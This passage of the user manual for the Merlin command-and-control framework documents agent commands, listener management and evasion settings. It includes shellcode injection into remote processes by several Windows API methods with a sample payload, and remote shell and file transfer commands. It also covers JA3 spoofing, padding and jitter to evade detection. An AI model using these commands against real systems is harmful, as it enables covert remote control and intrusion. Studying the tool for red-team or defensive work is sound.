  cmd               | Execute a command on the agent  | cmd ping -c 3 8.8.8.8
                    | (DEPRECIATED)                   |
  back              | Return to the main menu         |
  download          | Download a file from the agent  | download <remote_file>
  execute-shellcode | Execute shellcode               | self, remote <pid>,
                    |                                 | RtlCreateUserThread <pid>
  info              | Display all information about   |
                    | the agent                       |
  kill              | Instruct the agent to die or    |
                    | quit                            |
  ls                | List directory contents         | ls /etc OR ls C:\\Users
  main              | Return to the main menu         |
  pwd               | Display the current working     | pwd
                    | directory                       |
  set               | Set the value for one of the    | ja3, killdate, maxretry,
                    | agent's options                 | padding, skew, sleep
  shell             | Execute a command on the agent  | shell ping -c 3 8.8.8.8
  status            | Print the current status of     |
                    | the agent                       |
  upload            | Upload a file to the agent      | upload <local_file>
                    |                                 | <remote_file>
```

(continues on next page)

(continued from previous page)

```
  *                    | Anything else will be execute  |
                       | on the host operating system   |
Agent Help Menu
```

9.2 cd

The `cd` command is used to change the current working directory the Merlin agent is using. Relative paths can be used (i.e. `./../` or `downloads\\Merlin`). This command uses native Go and will not execute the `cd` binary program found on the host operating system.

The \ in a Windows directory must be escaped like `C:\\Windows\\System32`.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cd /usr/bin
[-]Created job evtawDqBWa for agent a98e6175-7799-47fb-abf0-32534a9191f0 at 2019-02-
↪27T01:03:57Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job evtawDqBWa at␣
↪2019-02-27T01:03:59Z
Changed working directory to /usr/bin
```

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cd "C:\\Program Files (x86)\\"
[-]Created job gwFQhcsKJi for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-
↪27T01:17:26Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job gwFQhcsKJi at␣
↪2019-02-27T01:17:30Z
Changed working directory to C:\Program Files (x86)
```

9.3 cmd

The `cmd` command is used to task the agent to run a command on the host. It is important to note that program must be in the path. This allows you to specify what shell you want to run your command in or if you just want to run the executable. For instance, *ping.exe* is in typically in the %PATH% variable on Windows and works *without* specifying `cmd.exe`. However, the `ver` command is not an executable in the %PATH% and therefore *must* be run from `cmd.exe`.

THIS COMMAND HAS BEEN DEPRECIATED IN FAVOR OF "shell"

Example using ping:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cmd  ping 8.8.8.8
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job DTBnkIfnus for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job DTBnkIfnus

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=23ms TTL=54
Reply from 8.8.8.8: bytes=32 time=368ms TTL=54
Reply from 8.8.8.8: bytes=32 time=26ms TTL=54
Reply from 8.8.8.8: bytes=32 time=171ms TTL=54
```

(continues on next page)

(continued from previous page)

```

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 23ms, Maximum = 368ms, Average = 147ms
```

Example running `ver` *without* cmd.exe:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cmd ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job iOMPERNYGT for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job iOMPERNYGT
exec: "ver": executable file not found in %PATH%
```

Example running `ver` *with* cmd.exe:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» cmd cmd /c ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job IxVXgyIkhS for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job IxVXgyIkhS

Microsoft Windows [Version 10.0.16299.64]
```

9.4 back

The `back` command is used to leave the Agent menu and return back to the *Main Menu*.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» back
Merlin»
```

9.5 download

The `download` command is used to download a file from the host where the agent is running back to the Merlin server. The file will be automatically saved in a folder with a name of the agent's identifier in the *dataagentsc1090dbc-f2f7-4d90-a241-86e0c0217786* directory.

NOTE: Because \ is used to escape a character, file paths require two (i.e `C:\\Windows`)

NOTE: Enclose file paths containing a space with quotation marks (i.e. `"C:\\Windows\\Program Files\\"`)

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» download C:\\Windows\\hh.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job NXnhJVRUSP for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job NXnhJVRUSP
[+]Successfully downloaded file C:\Windows\hh.exe with a size of 17920 bytes from␣
↪agent to C:\merlin\data\agents\c1090dbc-f2f7-4d90-a241-86e0c0217786\hh.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
```

9.6 exit

The `exit` command is used to quit the Merlin server. The user will be prompted for confirmation to prevent from accidentally quitting the program. The confirmation prompt can be skipped with `exit -y`.

```
Merlin» exit

Are you sure you want to exit? [yes/NO]:
yes
[!]Quitting...
```

9.7 execute-shellcode

The `execute-shellcode` command is used to have the Agent execute the provided shellcode. This command became available in version `0.6.4` and is only supported for Windows agents.

The `execute-shellcode` command takes the shellcode you want to execute at the last argument. Shellcode can be provided

- Hex (i.e. *5051525356*)
- `0x50, 0x51, 0x52, 0x53, 0x56` with or without spaces and commas
- `\x50\x51\x52\x53\x56`
- Base64 encoded version of the above formats
- A file containing any of the above formats or just a raw byte file

WARNING Shellcode injection and execution could cause a process to crash so choose wisely

NOTE If Cobalt Strike's Beacon is injected using one of these methods, exiting the Beacon will cause the process to die too.

The agent can execute shellcode using one of the following methods:

- *self*
- *remote*
- *RtlCreateUserThread*
- *UserAPC*

9.7.1 self

The `self` method allocates space within the Merlin Agent process and executes the shellcode.

Syntax is `execute-shellcode self <SHELLCODE>`

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode self␣
↪505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288
[-]Created job joQNJONrEK for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job joQNJONrEK
[+]Shellcode executed successfully
```

9.7.2 remote

The `remote` method creates a thread in another process using the CreateRemoteThreadEx Windows API call.

Syntax is `execute-shellcode remote <PID> <SHELLCODE>` where PID is the Process ID you want to execute the shellcode under.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode remote 6560␣
↪0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C,␣
↪0x63, 0x54, 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76,␣
↪0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30,␣
↪0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE,␣
↪0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,␣
↪0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE,␣
↪0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D,␣
↪0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3
[-]Created job PRumZQYBFR for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job PRumZQYBFR
[+]Shellcode executed successfully
```

9.7.3 RtlCreateUserThread

The `rtlcreateuserthread` method creates a thread in another process using the undocumented RtlCreateUserThread Windows API call.

Syntax is `execute-shellcode rtlcreateuserthread <PID> <SHELLCODE>` where PID is the Process ID you want to execute the shellcode under.

Example:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode␣
↪RtlCreateUserThread 6560␣
↪\x50\x51\x52\x53\x56\x57\x55\x6A\x60\x5A\x68\x63\x61\x6C\x63\x54\x59\x48\x83\xEC\x28\x65\x48\x8B\x3
[-]Created job CCWrmdLIFQ for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job CCWrmdLIFQ
[+]Shellcode executed successfully
```

9.7.4 UserAPC

The `userapc` method creates a thread in another process using the QueueUserAPC Windows API call.

Syntax is `execute-shellcode userapc <PID> <SHELLCODE>` where PID is the Process ID you want to execute the shellcode under.

NOTE: This method is highly unstable and therefore was intentionally not added to the tab completion list of available methods. The current implementation requires the process to have more than 1 thread. All remaining threads will have a user-mode APC queued to execute the shellcode and could result in multiple instances of execution. This method frequently causes processes to crash. Additionally, the shellcode might not execute at all if none of the threads were in an alertable state. The *svchost.exe* process usually provides a little better choice, but still not guaranteed.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» execute-shellcode userapc 4824 /
↪home/rickastley/calc.bin
[-]Created job NPQGRntaQX for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job NPQGRntaQX
[+]Shellcode executed successfully
```

9.8 info

The `info` command is used to get information about a specific agent.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» info

+---------------------------+-----------------------------------------------+
| ID                        | c1090dbc-f2f7-4d90-a241-86e0c0217786          |
| Platform                  | windows                                       |
| Architecture              | amd64                                         |
| UserName                  | ACME\Dade                                     |
| User GUID                 | S-1-5-21-988272595-2747325887-1861723304-1002 |
| Hostname                  | WIN-7PD32                                     |
| Process ID                | 4120                                          |
| IP                        | [fe80::8893:b524:821:31ba/64                  |
|                           | 169.254.49.186/16                             |
|                           | 192.168.1.104/24 fe80::fd43:1a37:b31b:9788/64 |
| Initial Check In          | 2017-11-22 11:36:47.4171802 -0500 EST         |
|                           | m=+7.606503201                                |
| Last Check In             | 2017-11-22 12:26:50.1984432 -0500 EST         |
|                           | m=+3010.387766201                             |
| Agent Version             | 0.5.0 Beta                                    |
| Agent Build               | nonRelease                                    |
| Agent Wait Time           | 30s                                           |
| Agent Wait Time Skew      | 5                                             |
| Agent Message Padding Max | 4096                                          |
| Agent Max Retries         | 7                                             |
| Agent Kill Date           | 1970-01-01T00:00:00Z                          |
| Agent Failed Logins       | 0                                             |
+---------------------------+-----------------------------------------------+
```

9.9 kill

The `kill` control type instructs the agent to exit or die. There is no response on the CLI after the instruction has been provided to the agent. This command is also an alias for agent -> control -> <agent ID> -> kill. This is the shortest way to quickly kill an agent.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» kill
Merlin» [-]Created job goaRNhTVTT for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

9.10 ls

The `ls` command is used to list a directory's contents using native Go functions within Merlin. This command will not execute the `ls` or `dir` binary programs found on their associated host operating systems. If a directory is not specified, Merlin will list the contents of the current working directory. When specifying a Windows path, you must escape the backslash (i.e. *C:\Temp*). Wrap file paths containing a space in quotations. Alternatively, Linux file paths with a space can be called without quotes by escaping the space (i.e. `/root/some\ folder/`). Relative paths can be used (i.e. `./../` or `downloads\\Merlin`) and they are resolved to their absolute path.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ls /var
[-]Created job eNJKIiLXXH for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

(continues on next page)

(continued from previous page)

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job eNJKIiLXXH
Directory listing for: /var

drwxr-xr-x      2019-02-06 00:05:17     4096    backups
drwxr-xr-x      2018-12-24 14:40:14     4096    cache
dgtrwxrwxrwx    2019-02-06 00:05:16     4096    crash
drwxr-xr-x      2019-01-17 21:24:30     4096    lib
dgrwxrwxr-x     2018-04-24 04:34:22     4096    local
Lrwxrwxrwx      2018-11-07 21:33:01     9       lock
drwxrwxr-x      2019-02-06 00:05:39     4096    log
dgrwxrwxr-x     2018-07-24 23:03:56     4096    mail
dgtrwxrwxrwx    2018-07-24 23:09:50     4096    metrics
drwxr-xr-x      2018-07-24 23:03:56     4096    opt
Lrwxrwxrwx      2018-11-07 21:33:01     4       run
drwxr-xr-x      2018-11-07 21:45:43     4096    snap
drwxr-xr-x      2018-11-07 21:38:04     4096    spool
dtrwxrwxrwx     2019-02-06 00:05:38     4096    tmp
```

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» ls "C:\\Program Files (x86)\\"
[-]Created job ggQPFQhTrC for agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job ggQPFQhTrC
Directory listing for: C:\Program Files (x86)

drwxrwxrwx      2018-09-15 00:42:33     0       Common Files
drwxrwxrwx      2018-09-15 02:08:27     0       Internet Explorer
drwxrwxrwx      2018-09-15 00:33:50     0       Microsoft.NET
drwxrwxrwx      2018-09-15 02:07:46     0       Windows Defender
drwxrwxrwx      2018-12-27 12:42:42     0       Windows Kits
drwxrwxrwx      2018-09-15 00:33:53     0       Windows Mail
drwxrwxrwx      2018-12-16 13:15:58     0       Windows Media Player
drwxrwxrwx      2018-09-15 02:10:06     0       Windows Multimedia Platform
drwxrwxrwx      2019-01-10 08:18:11     0       Windows Photo Viewer
drwxrwxrwx      2018-09-15 02:10:06     0       Windows Portable Devices
drwxrwxrwx      2018-09-15 00:33:50     0       Windows Sidebar
drwxrwxrwx      2018-09-15 00:33:50     0       WindowsPowerShell
-rw-rw-rw-      2018-09-15 00:31:34     174     desktop.ini
drwxrwxrwx      2018-09-15 00:42:33     0       windows nt
```

9.11 quit

The `quit` command is used to exit out of the Merlin Server application. This is also an alias for the `exit` command.

9.12 set

The `set` command is used to provide the agent with instructions on controlling itself and/or its configuration. There are several control types to include:

- *ja3*
- *killdate*
- *maxretry*
- *padding*

- *skew*
- *sleep*

9.12.1 ja3

JA3 is a method for fingerprinting TLS clients on the wire. Every TLS client has a unique signature depending on its configuration of the following TLS options: SSLVersion,Ciphers,Extensions,EllipticCurves, EllipticCurvePointFormats.

The ja3 option allows the agent to create a TLS client based on the provided JA3 hash signature. This is useful to evade detections based on a JA3 hash for a known tool (i.e. Merlin). This article documents a JA3 fingerprint for Merlin. Known JA3 signatures can be downloaded from https://ja3er.com/

NOTE: Make sure the input JA3 hash will enable communications with the Server. For example, if you leverage a JA3 hash that only supports SSLv2 and the server does not support that protocol, then they will not be able to communicate. The -ja3 flag will override the the -proto flag and will cause the agent to use the protocol provided in the JA3 hash.

This example will create a TLS client with a JA3 hash of 51a7ad14509fd614c7bb3a50c4982b8c that matches Java based malware such as Neutrino and Nuclear Exploit Kit (EK).

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set ja3 769,49161-49171-47-49156-
↪49166-51-50-49159-49169-5-49154-49164-49160-49170-10-49155-49165-22-19-4-255,10-11-
↪0,23-1-3-19-21-6-7-9-10-24-11-12-25-13-14-15-16-17-2-18-4-5-20-8-22,0
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
[-] Created job DWXtIAdjYz for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2020-08-
↪20T14:36:34Z
```

9.12.2 killdate

Killdate is a UNIX timestamp that denotes a time the executable will not run after (if it is 0 it will not be used). Killdate is checked before the agent performs each checkin, including before the initial checkin.

Killdate can be set in the agent/agent.go file before compiling, in the New function instantiation of a new agent. One scenario for using the killdate feature is an agent is persisted as a service and you want it to stop functioning after a certain date, in case the target organization fails to remediate the malicious service. Using killdate here would stop the agent from functioning after a certain specified UNIX system time.

The Killdate can also be set or changed for running agents using the set killdate command from the agent menu. This will only modify the killdate for the running agent in memory and will not update the compiled binary file. http://unixtimestamp.50x.eu/ can be used to generate a UNIX timestamp.

A UNIX timestamp of *0* will read like *1970-01-01T00:00:00Z* in the agent info table.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set killdate 811123200
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job utpISXXXbl for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

9.12.3 maxretry

The maxretry control type is used to change the _maximum_ number of failed login an agent will allow before the agent quits. For the sake of this conversation, a login means establishing contact with a Merlin Server and receiving no errors. The default is 7. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the agent info command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set maxretry 50
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job utpISXXXbl for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

9.12.4 padding

The `padding` control type is used to change the _maximum_ size of a message's padding. A random value between 0 and the maximum padding value is selected on a per message basis and added to the end of each message. This is used in an attempt to evade detection when a program looks for messages with same size beaconing out. The default is 4096. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the `agent info` command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set padding 8192
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job wlGTwgtqNx for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

9.12.5 skew

The `skew` command is used to introduce a jitter or skew to the agent sleep time to keep traffic from occurring at exact time intervals.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set skew 5
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job lyYQdxckTY for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
```

9.12.6 sleep

The `sleep` control type is used to change the amount of time that an agent will sleep before checking in again. The default is 30 seconds. The values provided to this command are written in a time format. For example, `30s` is 30 seconds and `60m` is 60 minutes. There is no response on the CLI after the instruction has been provided to the agent. You can verify the setting was changed using the `agent info` command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» set sleep 15s
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job npMYqwASOD for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

9.13 shell

The `shell` command is used to task the agent to run a command on the host. It is important to note that program must be in the path. This allows you to specify what shell you want to run your command in or if you just want to run the executable. For instance, `ping.exe` is in typically in the %PATH% variable on Windows and works *without* specifying `cmd.exe`. However, the `ver` command is not an executable in the %PATH% and therefore *must* be run from `cmd.exe`.

Example using ping:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell  ping 8.8.8.8
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job DTBnkIfnus for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job DTBnkIfnus

Pinging 8.8.8.8 with 32 bytes of data:
Reply from 8.8.8.8: bytes=32 time=23ms TTL=54
Reply from 8.8.8.8: bytes=32 time=368ms TTL=54
Reply from 8.8.8.8: bytes=32 time=26ms TTL=54
Reply from 8.8.8.8: bytes=32 time=171ms TTL=54

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 23ms, Maximum = 368ms, Average = 147ms
```

Example running `ver` *without* `cmd.exe`:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job iOMPERNYGT for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job iOMPERNYGT
exec: "ver": executable file not found in %PATH%
```

Example running `ver` *with* `cmd.exe`:

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» shell cmd.exe /c ver
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job IxVXgyIkhS for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
[+]Results for job IxVXgyIkhS

Microsoft Windows [Version 10.0.16299.64]
```

9.14 main

The `main` command is used to leave the Agent menu and return back to the *Main Menu*. It is an alias for the `back` command.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» main
Merlin»
```

9.15 pwd

The `pwd` command uses native Go to get and return the current working directory.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» pwd
[-]Created job JweUayTyTv for agent c1090dbc-f2f7-4d90-a241-86e0c0217786 at 2019-02-
↪27T01:14:17Z
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [+]Results for job JweUayTyTv at␣
↪2019-02-27T01:14:28Z
Current working directory: C:\Users\Joe
```

9.16 status

The `status` command is used to simply print if the Merlin Agent is Active, Delayed, or Dead to the screen. This becomes useful when you come back to Merlin after a couple of hours or if you want to see if your shell has died.

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» status
Active
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]»
```

9.17 upload

The `upload` command is used to upload a file *from* the Merlin server *to* the host where the Merlin agent is running. The command is called by proving the location of the file on the Merlin server followed by the location to save the file on the host where the Merlin agent is running.

NOTE: Because \ is used to escape a character, file paths require two (i.e `C:\\Windows`)

NOTE: Enclose file paths containing a space with quotation marks (i.e. `"C:\\Windows\\Program Files\\"`)

```
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» upload␣
↪C:\\SysinternalsSuite\\PsExec.exe C:\\Windows\\PsExec.exe
Merlin[agent][c1090dbc-f2f7-4d90-a241-86e0c0217786]» [-]Created job vXJsZdZLPP for␣
↪agent c1090dbc-f2f7-4d90-a241-86e0c0217786
```

CHAPTER 10

Listener Menu

10.1 Main

10.1.1 help

The `help` command is used to view available commands for the Listener menu. Tab completion can be used at any time to provide the user a list of commands that can be selected.

Merlin is equipped with a tab completion system that can be used to see what commands are available at any given time. Hit double tab to get a list of all available commands for the current menu context.

```
Merlin[listeners]» help

  COMMAND  |           DESCRIPTION            |             OPTIONS
+----------+----------------------------------+---------------------------------+
  back     | Return to the main menu          |
  delete   | Delete a named listener          | delete <listener_name>
  info     | Display all information about    | info <listener_name>
           | a listener                       |
  interact | Interact with a named agent to   | interact <listener_name>
           | modify it                        |
  list     | List all created listeners       |
  main     | Return to the main menu          |
  start    | Start a named listener           | start <listener_name>
  stop     | Stop a named listener            | stop <listener_name>
  use      | Create a new listener by         | use
           | protocol type                    | [http,https,http2,http3,h2c]
  *        | Anything else will be execute    |
           | on the host operating system     |
Listeners Help Menu
Merlin[listeners]»
```

10.1.2 back

The `back` command is used to move one level back. In this case the command will return the user to the *Main Menu*.

```
Merlin[listeners]» back
Merlin»
```

10.1.3 delete

The `delete` command is used to delete a listener by its name. The user will be prompted for confirmation to prevent accidentally deleting a listener.

NOTE: Cycle through the available listeners using the tab key after the delete command.

```
Merlin[listeners]» delete Default

Are you sure you want to delete the Default listener? [yes/NO]:
yes
Merlin[listeners]»
[+] deleted listener Default:0db5969e-2fa5-4f6d-8ec8-e07eaf4bf2c2
Merlin[listeners]»
```

10.1.4 info

The `info` command is used to display information about a previously created Listener.

NOTE: Cycle through the available listeners using the tab key after the info command.

```
Merlin[listeners]» info Default
+-------------+------------------------------------------------------------------+
|    NAME     |                              VALUE                               |
+-------------+------------------------------------------------------------------+
| Protocol    | HTTPS                                                            |
+-------------+------------------------------------------------------------------+
| Name        | Default                                                          |
+-------------+------------------------------------------------------------------+
| Port        | 443                                                              |
+-------------+------------------------------------------------------------------+
| PSK         | merlin                                                           |
+-------------+------------------------------------------------------------------+
| URLS        | /                                                                |
+-------------+------------------------------------------------------------------+
| X509Cert    |                                                                  |
+-------------+------------------------------------------------------------------+
| X509Key     |                                                                  |
+-------------+------------------------------------------------------------------+
| Description | Default listener                                                 |
+-------------+------------------------------------------------------------------+
| ID          | aa020d5c-7c1a-4781-9d1d-e7c659d126f9                             |
+-------------+------------------------------------------------------------------+
| Interface   | 127.0.0.1                                                        |
+-------------+------------------------------------------------------------------+
Merlin[listeners]»
```

10.1.5 interact

The `interact` command is used to operate a previously create listener.

NOTE: Cycle through the available listeners using the tab key after the info command.

```
Merlin[listeners]» interact Default
Merlin[listeners][Default]»
```

10.1.6 list

The `list` command returns a list of all created listeners to include some configuration information and status.

```
Merlin[listeners]» list

+---------+-----------+------+----------+---------+------------------+
|  NAME   | INTERFACE | PORT | PROTOCOL | STATUS  |   DESCRIPTION    |
+---------+-----------+------+----------+---------+------------------+
| Default | 127.0.0.1 | 443  |  HTTPS   | Running | Default listener |
|  HTTP3  | 127.0.0.1 | 443  |  HTTP3   | Running | Default listener |
|   H2C   | 127.0.0.1 |  80  |   H2C    | Running | Default listener |
+---------+-----------+------+----------+---------+------------------+

Merlin[listeners]»
```

10.1.7 main

The `main` command returns to the *Main Menu*.

```
Merlin[listeners]» main
Merlin»
```

10.1.8 start

The `start` command is used to start a previously created and stopped Listener by its name.

NOTE: Cycle through the available listeners using the tab key after the start command.

```
Merlin[listeners]» start Default
Merlin[listeners]»
[+] Restarted Default HTTPS listener on 127.0.0.1:443

[!] Insecure publicly distributed Merlin x.509 testing certificate in use for https␣
↪server on 127.0.0.1:443
Additional details: https://github.com/Ne0nd0g/merlin/wiki/TLS-Certificates
Merlin[listeners]»
```

10.1.9 stop

The `stop` command is used to stop a previously created Listener by its name.

NOTE: Cycle through the available listeners using the tab key after the stop command.

```
Merlin[listeners]» stop Default
Merlin[listeners]»
[+] Default listener was stopped
Merlin[listeners]»
```

10.1.10 use

The *use* command is leveraged to create a new listener. The `use` command expects the listener type, by protocol, to follow. Press enter to select a template for the listener type. View the ?? section for additional information on creating a listener.

NOTE: Cycle through the available listener types using the tab key after the use command.

```
Merlin[listeners]» use http3
Merlin[listeners][http3]»
```

10.1.11 wildcard

Any command that is not a Merlin command will be executed on host itself where the Merlin server is running. This is useful when you want simple information, such as your interface address, without having to open a new terminal.

```
Merlin[listeners]» ip a show ens32

[i] Executing system command...

[+] 2: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP␣
↪group default qlen 1000
    link/ether 00:0c:29:z3:ff:91 brd ff:ff:ff:ff:ff:ff
    inet 192.168.211.221/24 brd 192.168.211.255 scope global dynamic noprefixroute␣
↪ens32
       valid_lft 1227sec preferred_lft 1227sec
    inet6 fe80::a71d:1f6a:a0d1:7985/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

Merlin[listeners]»
```

10.2 Instantiated

This menu is accessed by issuing the the `interact` command followed by the name of previously created (instantiated) Listener. The `help` command is used to view available commands for the instantiated Listener menu. Tab completion can be used at any time to provide the user a list of commands that can be selected.

```
Merlin[listeners]» interact Default
Merlin[listeners][Default]» help

  COMMAND |          DESCRIPTION             |        OPTIONS
+---------+----------------------------------+------------------------+
  back    | Return to the listeners menu     |
  delete  | Delete this listener             | delete <listener_name>
  info    | Display all configurable         |
          | information the current          |
```

(continues on next page)

(continued from previous page)

```
          | listener                        |
  main    | Return to the main menu         |
  restart | Restart this listener           |
  set     | Set a configurable option       | set <option_name>
  show    | Display all configurable        |
          | information about a listener    |
  start   | Start this listener             |
  status  | Get the server's current        |
          | status                          |
  stop    | Stop the listener               |
  *       | Anything else will be execute   |
          | on the host operating system    |
Listener Help Menu
```

10.2.1 back

The `back` command is used to move one level back. In this case the command will return the user to the root Listener menu.

```
Merlin[listeners][Default]» back
Merlin[listeners]»
```

10.2.2 delete

The `delete` command is used to delete the Listener you are currently interacting with, indicated in the square brackets in the Merlin prompt. The user will be prompted for confirmation to prevent accidentally deleting a listener.

```
Merlin[listeners][Default]» delete

Are you sure you want to delete the Default listener? [yes/NO]:
yes
Merlin[listeners]»
```

10.2.3 info

The `info` command is used to display information about the Listener you are currently interacting with, indicated in the square brackets in the Merlin prompt.

```
Merlin[listeners][Default]» info
+--------------+--------------------------------------+
|    NAME      |                VALUE                 |
+--------------+--------------------------------------+
| Name         | Default                              |
+--------------+--------------------------------------+
| ID           | 2e3025e8-6e8e-4fe1-b69c-5d248e34068c |
+--------------+--------------------------------------+
| Interface    | 127.0.0.1                            |
+--------------+--------------------------------------+
| Port         | 443                                  |
+--------------+--------------------------------------+
| Protocol     | HTTPS                                |
```

(continues on next page)

(continued from previous page)

```
+-------------+--------------------------------------+
| PSK         | merlin                               |
+-------------+--------------------------------------+
| URLS        | /                                    |
+-------------+--------------------------------------+
| X509Cert    |                                      |
+-------------+--------------------------------------+
| X509Key     |                                      |
+-------------+--------------------------------------+
| Description | Default listener                     |
+-------------+--------------------------------------+
| Status      | Running                              |
+-------------+--------------------------------------+
Merlin[listeners][Default]»
```

10.2.4 main

The `main` command returns to the Main menu

```
Merlin[listeners][Default]» main
Merlin»
```

10.2.5 restart

The `restart` command stops the current listener and then immediately starts it. This is useful to apply configuration changes made with the `set` command.

```
Merlin[listeners][Default]» restart

    [-] Certificate was not found at:
    Creating in-memory x.509 certificate used for this session only
